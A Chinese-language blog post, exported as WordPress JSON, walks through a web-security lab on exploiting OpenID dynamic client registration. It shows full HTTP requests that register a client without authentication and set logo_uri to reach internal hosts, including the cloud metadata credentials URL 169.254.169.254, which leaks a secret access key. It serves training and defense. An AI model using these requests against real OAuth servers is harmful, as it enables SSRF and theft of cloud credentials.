{"id":1493,"date":"2023-03-28T11:40:00","date_gmt":"2023-03-28T03:40:00","guid":{"rendered":"https:\/\/systw.net\/note\/?p=1493"},"modified":"2024-04-05T19:48:37","modified_gmt":"2024-04-05T11:48:37","slug":"oauth-openid-connect","status":"publish","type":"post","link":"https:\/\/systw.net\/note\/archives\/1493","title":{"rendered":"OAuth OpenID Connect\u00a0"},"content":{"rendered":"\n<p>OpenID Connect\u64f4\u5c55\u4e86OAuth\u5354\u8b70\uff0c\u63d0\u4f9b\u4e00\u4e9b\u529f\u80fd\u53ef\u4ee5\u66f4\u597d\u5730\u652f\u63f4OAuth\u7684\u8eab\u4efd\u9a57\u8b49\u3002\u5982\u679c\u5728\u7b2c\u4e09\u65b9\u767b\u5165\u6d41\u7a0b\u4e2d\u767c\u73fe<code>id_token<\/code>\uff0c\u9019\u5c31\u8868\u793a\u6b63\u5728\u4f7f\u7528OpenID Connect\u3002<\/p>\n\n\n\n<p>OAuth\u6f0f\u6d1e\u53ef\u4ee5\u5206\u70ba3\u500b\u90e8\u4efd<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>OAuth Client Application\uff1a<a href=\"https:\/\/systw.net\/note\/archives\/1465\">https:\/\/systw.net\/note\/archives\/1465<\/a><\/li>\n\n\n\n<li>OAuth Service\uff1a<a href=\"https:\/\/systw.net\/note\/archives\/1487\">https:\/\/systw.net\/note\/archives\/1487<\/a><\/li>\n\n\n\n<li>OpenID Connect\uff1a\u8aaa\u660e\u5982\u4e0b<\/li>\n<\/ul>\n\n\n\n<div style=\"height:100px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">OpenID Connect \u6f0f\u6d1e<\/h2>\n\n\n\n<p>OpenID\u63d0\u4f9b\u8005\u61c9\u8981\u6c42client application(\u7db2\u7ad9\u61c9\u7528\u7a0b\u5f0f)\u5c0d\u5176\u81ea\u8eab\u9032\u884c\u8eab\u4efd\u9a57\u8b49\uff0c\u4f46\u5f8c\u591a\u6642\u5019\u5c31\u7b97\u4e0d\u9a57\u8b49\u4e5f\u80fd\u7528\u3002\u9019\u8868\u793aOpenID\u63d0\u4f9b\u8005\u5141\u8a31\u52d5\u614b\u7528\u6236\u7aef\u8a3b\u518a\u800c\u7121\u9700\u4efb\u4f55\u8eab\u4efd\u9a57\u8b49\uff0c\u9019\u4f7f\u5f97\u653b\u64ca\u8005\u80fd\u5920\u8a3b\u518a\u81ea\u5df1\u7684\u60e1\u610fclient application(\u7db2\u7ad9\u61c9\u7528\u7a0b\u5f0f)\uff0c\u9019\u53ef\u80fd\u6703\u7522\u751f\u5404\u7a2e\u5f8c\u679c\uff0c\u4f8b\u5982\uff0c\u6709\u4e9b\u5c6c\u6027\u53ef\u4f5c\u70baURI\uff0c\u5982\u679cOpenID\u63d0\u4f9b\u8005\u5b58\u53d6\u5176\u4e2d\u4efb\u4f55\u4e00\u500b\uff0c\u5247\u53ef\u80fd\u6703\u5c0e\u81f4second-order\u00a0SSRF\u6f0f\u6d1e<\/p>\n\n\n\n<p>\u8209\u4f8b\u5982\u4e0b\uff0c\u76ee\u6a19\u7db2\u7ad9\u4f7f\u7528OpenID\uff0c\u4f46\u5141\u8a31\u5728\u6c92\u9a57\u8b49\u7684\u60c5\u6cc1\u4e0b\u8a3b\u518aclient application(\u7db2\u7ad9\u61c9\u7528\u7a0b\u5f0f)<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5c0b\u627e\u7cfb\u7d71\u654f\u611f\u4fe1\u606f<\/h3>\n\n\n\n<p>\u5c0b\u627e\u7b2c\u4e09\u65b9\u767b\u5165\u7684\u76ee\u9304\uff0c\u767c\u73fe\u6a19\u6e96\u7aef\u9ede\u5b58\u53d6\u8a2d\u5b9a\u6a94<code>\/.well-known\/openid-configuration<\/code>\uff0c\u4e26\u5728\u8a72\u7d44\u614b\u6a94\u767c\u73fe\u5ba2\u6236\u7aef\u8a3b\u518a\u7aef\u9ede\u4f4d\u65bc<code>\/reg<\/code><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############## request #################\nGET \/.well-known\/openid-configuration HTTP\/1.1\nHost: oauth-ac441f981f28ce55c01c4513028d00bf.web-security-academy.net\n\n############## response #################\n...omit...\"<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">registration_endpoint<\/mark>\":\"https:\/\/oauth-ac441f981f28ce55c01c4513028d00bf.web-security-academy.net\/<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">reg<\/mark>\",...omit...<\/code><\/pre>\n\n\n\n<p>\u7531\u65bc\u7121\u9700\u4efb\u4f55\u8eab\u4efd\u9a57\u8b49\uff0c\u6240\u4ee5\u53ef\u76f4\u63a5\u63d0\u4f9b\u4e00\u500bURI\u9663\u5217<code>redirect_uris<\/code>\uff0c\u5411OAuth\u670d\u52d9\u4e3b\u6a5f\u8a3b\u518a\u81ea\u5df1\u7684client application(\u7db2\u7ad9\u61c9\u7528\u7a0b\u5f0f)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############## request #################\nPOST \/<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">reg <\/mark>HTTP\/1.1\nHost: oauth-ac441f981f28ce55c01c4513028d00bf.web-security-academy.net\nContent-Type: application\/json\nContent-Length: 79\n\n{\n    \"redirect_uris\" : &#91;\n        \"<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-cyan-blue-color\">https:\/\/example.com<\/mark>\"\n    ]\n}\n\n############## response #################\nHTTP\/1.1 201 Created\nX-Powered-By: Express\nPragma: no-cache\nCache-Control: no-cache, no-store\nContent-Type: application\/json; charset=utf-8\nDate: Tue, 07 Jun 2022 08:21:07 GMT\nConnection: close\nKeep-Alive: timeout=5\nContent-Length: 874\n\t\n{\n\"application_type\":\"web\",\n\"grant_types\":&#91;\"authorization_code\"],\n\"id_token_signed_response_alg\":\"RS256\",\n\"post_logout_redirect_uris\":&#91;],\n\"require_auth_time\":false,\n\"response_types\":&#91;\"code\"],\n\"subject_type\":\"public\",\n\"token_endpoint_auth_method\":\"client_secret_basic\",\n\"introspection_endpoint_auth_method\":\"client_secret_basic\",\n\"revocation_endpoint_auth_method\":\"client_secret_basic\",\n\"require_signed_request_object\":false,\n\"request_uris\":&#91;],\n\"client_id_issued_at\":1654590067,\n\"client_id\":\"<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">LH0U9juMZrS2kjq3YUM9d<\/mark>\",\n\"client_secret_expires_at\":0,\n\"client_secret\":\"hSsymQg48wC-_BcMDxBkHhNgyaDgF2eTuioElZV6emy4T2iISjKwFEbhi8UPW07XMDP459ncbVxCcIqPYEJy5w\",\n\"redirect_uris\":&#91;\"<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-cyan-blue-color\">https:\/\/example.com<\/mark>\"],\n\"registration_client_uri\":\"https:\/\/oauth-ac441f981f28ce55c01c4513028d00bf.web-security-academy.net\/reg\/LH0U9juMZrS2kjq3YUM9d\",\n\"registration_access_token\":\"RFwbvd__D-pTsyB7rQNYOzTBRQByed5R11EXdwrMv95\"\n}<\/code><\/pre>\n\n\n\n<p>\u73fe\u5728\u5df2\u6210\u529f\u8a3b\u518a\u81ea\u5df1\u7684\u5ba2\u6236\u7aef\u61c9\u7528\u7a0b\u5e8f\uff0c\u8fd4\u56de\u5167\u5bb9\u5305\u542b\u8207\u65b0\u5ba2\u6236\u7aef\u61c9\u7528\u7a0b\u5f0f\u95dc\u806f\u7684\u5404\u7a2e\u5143\u6578\u64da\uff0c\u5305\u62ec\u65b0\u7684<code>client_id<\/code><\/p>\n\n\n\n<p>\u4e0d\u904e\uff0c\u5728\u6574\u500b\u6d41\u7a0b\u4e2d\u89c0\u5bdf\u5230\u6709\u4e00\u8acb\u6c42\uff0c\u6703\u5c0dOAuth\u670d\u52d9\u4e3b\u6a5f\u53d6\u5f97<code>\/client\/CLIENT-ID\/logo<\/code>\uff0c\u4e26\u8fd4\u56de\u5716\u7247logo\uff0c\u5982\u4e0b <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############## request ##############\nGET \/client\/<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">LH0U9juMZrS2kjq3YUM9d<\/mark>\/logo HTTP\/1.1\nHost: oauth-ac441f981f28ce55c01c4513028d00bf.web-security-academy.net\n\n############## response #################\npicture log<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">\u6e2c\u8a66SSRF\u6f0f\u6d1e<\/h3>\n\n\n\n<p>\u6839\u64da<code>\/client\/CLIENT-ID\/logo<\/code>\u7684\u8acb\u6c42\u884c\u70ba\u67e5\u95b1OpenID\u898f\u7bc4\uff0c\u767c\u73feclient applications(\u7db2\u7ad9\u61c9\u7528\u7a0b\u5f0f)\u53ef\u4ee5\u5728\u52d5\u614b\u8a3b\u518a\u671f\u9593\u4f7f\u7528<code>logo_uri<\/code>\u5c6c\u6027\u63d0\u4f9b\u5716\u7247logo\u7684URL\uff0c\u56e0\u6b64\u8981\u6e2c\u8a66<code>logo_uri<\/code>\u662f\u5426\u6709SSRF\u554f\u984c <\/p>\n\n\n\n<p>\u69cb\u5efa\u4ee5\u4e0b\u8acb\u6c42\uff0c\u5c07<code>logo_uri<\/code>\u6307\u5b9a\u4e00\u500b\u63a5\u6536\u8a0a\u606f\u7684\u4f4d\u7f6e\uff0c\u4f8b\u5982BURP-COLLABORATOR-SUBDOMAIN<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############## request ##############\nPOST \/reg HTTP\/1.1\nHost: YOUR-LAB-OAUTH-SERVER.web-security-academy.net\nContent-Type: application\/json\n{\n    \"redirect_uris\" : &#91;\n        \"https:\/\/example.com\"\n    ],\n    \"logo_uri\" : \"https:\/\/BURP-COLLABORATOR-SUBDOMAIN\"\n}\n\n############## response #################\n...omit...\n\"client_id\":\"<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">kzO4HLJw0clOpEGIKMX6l<\/mark>\",\n...omit...<\/code><\/pre>\n\n\n\n<p>\u5728BURP-COLLABORATOR-SUBDOMAIN\u6703\u63a5\u6536\u5230OAuth\u670d\u52d9\u4e3b\u6a5f\u7684\u8fd4\u56de\u5167\u5bb9\u5982\u4e0b\uff0c\u78ba\u8a8d\u53ef\u4ee5\u6210\u529f\u5e36\u51fa\u6578\u64da\uff0c\u6b64\u8655\u6709SSRF\u6f0f\u6d1e<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>...omit...&lt;html>&lt;body><mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-green-cyan-color\">g4dtsejpzoywuzjjp5n77qzjngz<\/mark>&lt;\/body>&lt;\/html>...omit...<\/code><\/pre>\n\n\n\n<p>\u5982\u679c\u548cOAuth\u670d\u52d9\u4e3b\u6a5f\u8acb\u6c42<code>\/client\/CLIENT-ID\/logo<\/code>\uff0c\u4e5f\u6703\u5f97\u5230\u76f8\u540c\u7684\u5167\u5bb9  <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############## request #################\nGET \/client\/<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">kzO4HLJw0clOpEGIKMX6l<\/mark>\/logo HTTP\/1.1\nHost: oauth-ac441f981f28ce55c01c4513028d00bf.web-security-academy.net\n\n############## response #################\n...omit...\n    &lt;\/div>\n<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-green-cyan-color\">    g4dtsejpzoywuzjjp5n77qzjngz<\/mark>\n  &lt;\/body>\n&lt;\/html><\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u5229\u7528SSRF\u53d6\u5f97\u5b58\u53d6\u6307\u5b9a\u4f4d\u7f6e<\/h3>\n\n\n\n<p>\u76ee\u524d\u5df1\u7d93\u77e5\u9053\u91cd\u8981\u4fe1\u606f\u5b58\u653e\u5728\u5167\u7db2\u4e3b\u6a5f<code>http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/admin\/<\/code>\uff0c\u56e0\u6b64\u8981\u6d89\u6cd5\u53d6\u5f97\u6b64\u5167\u5bb9\uff0c\u5229\u7528\u525b\u525b\u78ba\u8a8d\u7684SSRF\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u69cb\u9020\u4ee5\u4e0b\u653b\u64ca\u8acb\u6c42<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############## request #################\nPOST \/reg HTTP\/1.1\nHost: oauth-ac421f8e1fa95c24c0d61480021b00b2.web-security-academy.net\nContent-Type: application\/json\nContent-Length: 172\n{\n    \"redirect_uris\" : &#91;\n        \"https:\/\/example.com\"\n    ],\n    \"logo_uri\" : \"http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/admin\/\"\n}\n\n############## response #################\n...omit...,\"client_id\":\"bG3X5i1AXnKvqSbQkOQp4\",...omit...<\/code><\/pre>\n\n\n\n<p>\u63a5\u8457\u5c0dOAuth\u670d\u52d9\u4e3b\u6a5f\u8acb\u6c42<code>\/client\/CLIENT-ID\/logo<\/code>\uff0c\u5373\u53ef\u53d6\u5f97\u6307\u5b9a\u4f4d\u7f6e\u7684\u654f\u611f\u4fe1\u606f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>GET \/client\/bG3X5i1AXnKvqSbQkOQp4\/logo HTTP\/1.1\nHost: oauth-ac421f8e1fa95c24c0d61480021b00b2.web-security-academy.net\nresponse\n...omit...\"SecretAccessKey\" : \"86Pa12tSES76SzBzblzJRnRo0rWdyI3Eha9cfj3A\",...omit...<\/code><\/pre>\n\n\n\n<p>Lab: SSRF via OpenID dynamic client registration<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u7e3d\u7d50\u653b\u64ca\u624b\u6cd5<\/h2>\n\n\n\n<p>1.\u6aa2\u67e5\u7b2c\u4e09\u65b9\u767b\u9304\u7684\u76ee\u9304\u662f\u5426\u6709\u654f\u611f\u4fe1\u606f\uff0c\u7d50\u679c\u6709\u554f\u984c\uff0c\u56e0\u70baregistration_endpoint\u7684\u4f4d\u7f6e\u66dd\u5149<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############## request #################\nGET \/.well-known\/openid-configuration\r\n\n############## response #################\r\n...omit...\"registration_endpoint\":\"https:\/\/oauth-server\/reg\",...omit...<\/code><\/pre>\n\n\n\n<p>2.\u6aa2\u67e5\u8a3b\u518a\u6642\u662f\u5426\u6709\u8eab\u4efd\u9a57\u8b49\u6a5f\u5236\uff0c\u7d50\u679c\u6709\u554f\u984c\uff0c\u56e0\u70ba\u8a3b\u518a\u6210\u529f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############## request #################\nPOST \/reg HTTP\/1.1\nHost: oauth-ac441f981f28ce55c01c4513028d00bf.web-security-academy.net\nContent-Type: application\/json\nContent-Length: 79\n\n{\n    \"redirect_uris\" : &#91;\n        \"https:\/\/example.com\"\n    ]\n}\n############## response #################\n...omit...\n\"client_id\":\"kzO4HLJw0clOpEGIKMX6l\",\n...omit...<\/code><\/pre>\n\n\n\n<p>3.\u6aa2\u67e5\u53ef\u4f5c\u70baURI\u7684\u5c6c\u6027\u662f\u5426\u6709SSRF\u554f\u984c\uff0c\u7d50\u679c\u6709\u554f\u984c\uff0c\u56e0\u70ba\u53ef\u900f\u904e<code>logo_uri<\/code>\u53d6\u5f97\u5404\u7a2e\u5167\u7db2\u4fe1\u606f<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>############## request #################\nPOST \/reg HTTP\/1.1\nHost: oauth-ac421f8e1fa95c24c0d61480021b00b2.web-security-academy.net\nContent-Type: application\/json\nContent-Length: 172\n{\n    \"redirect_uris\" : &#91;\n        \"https:\/\/example.com\"\n    ],\n    \"logo_uri\" : \"http:\/\/169.254.169.254\/latest\/meta-data\/iam\/security-credentials\/admin\/\"\n}\n\n############## response #################\n...omit...,\"client_id\":\"bG3X5i1AXnKvqSbQkOQp4\",...omit...<\/code><\/pre>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>OpenID Connect\u64f4\u5c55\u4e86OAuth\u5354\u8b70\uff0c\u63d0\u4f9b\u4e00\u4e9b\u529f\u80fd\u53ef\u4ee5\u66f4\u597d\u5730\u652f\u63f4OAuth\u7684\u8eab\u4efd\u9a57\u8b49\u3002\u5982\u679c\u5728\u7b2c\u4e09\u65b9\u767b\u5165\u6d41\u7a0b\u4e2d\u767c\u73feid_token\uff0c\u9019\u5c31\u8868\u793a\u6b63\u5728\u4f7f\u7528OpenID Connect\u3002<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"fifu_image_url":"","fifu_image_alt":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[367],"tags":[],"class_list":["post-1493","post","type-post","status-publish","format-standard","hentry","category-logic-vulnerabilities"],"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1493","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/comments?post=1493"}],"version-history":[{"count":0,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/posts\/1493\/revisions"}],"wp:attachment":[{"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/media?parent=1493"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/categories?post=1493"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/systw.net\/note\/wp-json\/wp\/v2\/tags?post=1493"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}